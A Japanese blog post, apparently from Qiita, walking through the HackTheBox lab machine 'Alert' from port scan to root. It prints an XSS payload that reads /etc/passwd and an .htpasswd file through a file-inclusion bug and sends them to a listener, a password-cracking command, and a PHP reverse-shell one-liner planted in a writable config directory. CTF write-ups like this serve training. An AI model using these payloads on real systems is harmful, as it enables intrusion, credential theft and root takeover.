1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:Alert

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Alertです。

Alertでは、XSSの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 23:02 JST
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.25s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
12227/tcp filtered unknown
13555/tcp closed   unknown
49084/tcp closed   unknown
64073/tcp closed   unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.87 seconds
Scan completed


上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後alert.htbにアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2024-12-15 23.10.36.png

サブドメイン

ffuwを用いてサブドメインの列挙を行います。

レスポンス結果を踏まえて、レスポンスサイズの値に規則性はないため、-fcオプションを使用してステータスコードの301を除外します。

$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://alert.htb/ -H "Host: FUZZ.alert.htb" -c -fc 301


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://alert.htb/
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.alert.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 250ms]
:: Progress: [4989/4989] :: Job [1/1] :: 159 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

statisticsのサブドメインを検出したのでアクセスすると、認証が行われていることが確認できます。

スクリーンショット 2024-12-15 23.11.02.png

脆弱性分析

足場を作るにあたって利用可能な脆弱性を探します。

トップページの「Markdown Viewer」を調査した結果、XSSとLFIの脆弱性を発見しました。例として、/etc/passwdを読み取る場合は、以下の様な.mdファイルを用意します。

<script> 
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd") 
  .then(response => response.text()) 
  .then(data => { 
    fetch("http://<Ip address>:4444/?file_content=" + encodeURIComponent(data)); 
  }); 
</script>

用意した.mdファイルをアップロードします。

スクリーンショット 2024-12-15 23.16.58.png

画面右下の「Share Markdown」を押します。

スクリーンショット 2024-12-15 23.17.56.png

URLをコピーして控えます。

スクリーンショット 2024-12-15 23.22.55.png

「Cotact Us」でコピーしたURLを入力して送信します。

スクリーンショット 2024-12-15 23.23.39.png

「Cotact Us」で送信後リクエストが発生すると、以下の様なレスポンスが取得できます。

listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 47702
GET /?file_content=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1
Host: <REDACTED>:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

URLエンコードで符号化されているため、デコードすると中身を確認できます。

<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>

ユーザー名について確認できました。

システムハッキング

これまでに確認できたXSSとLFIの脆弱性を利用して足場を作ります。

アクセスの獲得

事前にリスナーを用意します。

先ほどと同じ様に.htpasswdファイルにアクセスするための.mdファイルを用意して「Cotact Us」から送信します。

<script> 
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd") 
  .then(response => response.text()) 
  .then(data => { 
    fetch("http://<Ip address>:4444/?file_content=" + encodeURIComponent(data)); 
  }); 
</script>

リクエスト発生後、レスポンスを確認します。

listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 40880
GET /?file_content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1
Host: <REDACTED>:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

デコードすると、以下の様な文字列を取得できました。$apr1$で始まるこの形式の暗号は、ApacheのMD5ベースの暗号化形式(APR1-MD5)であることが分かります。

APR1-MD5は、Apache HTTP Serverで使用されるパスワードのハッシュ形式の一つであり、.htpasswdファイルでの認証に使われています。

<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>

johnなどを実行して復号します。

$ john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

上記コマンド実行後、パスワードが判明しました。

Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (?)     
1g 0:00:00:00 DONE (2024-12-15 23:35) 33.33g/s 96000p/s 96000c/s 96000C/s meagan..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

ログインすると、以下の様なダッシュボードの画面が確認できます。

スクリーンショット 2024-12-15 23.37.19.png

ユーザーフラグ

albertユーザーと解析したパスワードを用いて、SSHログインを行います。

ssh albert@10.10.11.44 
albert@10.10.11.44's password: 

ログイン後、ユーザーフラグが確認できます。

total 3064
drwxr-x--- 4 albert albert    4096 Dec 15 09:24 ./
drwxr-xr-x 4 root   root      4096 Oct 12 02:21 ../
lrwxrwxrwx 1 albert albert       9 Mar 16  2024 .bash_history -> /dev/null
-rw-r--r-- 1 albert albert     220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 albert albert    3771 Feb 25  2020 .bashrc
drwx------ 2 albert albert    4096 Mar  8  2024 .cache/
drwxrwxr-x 3 albert albert    4096 Dec 15 09:24 .local/
-rw-r--r-- 1 albert albert     807 Feb 25  2020 .profile
-rwxrwxr-x 1 albert albert 3104768 Sep 22 16:40 pspy64*
-rw-r----- 1 root   albert      33 Dec 15 03:56 user.txt

ルートフラグ

psコマンドでプロセスを確認すると、ルートユーザーで実行している興味深いプロセスが見つかります。

また、当該プロセスは、ドキュメントルートとして/opt/website-monitor/ディレクトリを指定し、phpで動作しています。

root        1003  0.0  0.6 206768 24004 ?        Ss   03:56   0:01 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor

ローカルでリッスンしているため、ポートフォワーディングを行ないローカルポート経由でアクセスします。

スクリーンショット 2024-12-15 23.53.10.png

Websiteをモニタリングしているだけで、特に目ぼしい情報は見つかりません。引き続き調査を行い/opt/website-monitor/ディレクトリを確認すると、config/ディレクトリのみmanagementグループであることが分かります。

total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 ./
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ../
drwxrwxr-x 2 root management  4096 Dec 15 14:52 config/
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git/
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents/
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php*
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE*
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php*
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors/
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json*
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php*
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md*
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css*
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates/

albertユーザーは、サブグループとしてmanagementグループに所属しています。

uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

managementグループは、configディレクトリに対して書き込み権限が付与されているため、以下の様なリバースシェルを用意します。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<Ip address>/4444 0>&1'");?>

ローカルポート経由で用意したシェルにアクセスすると、リバースシェルが取得できます。

listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 34838
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config# id
id
uid=0(root) gid=0(root) groups=0(root)

おわりに

ユーザーフラグの取得は、創造性を必要とするMachineでした。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?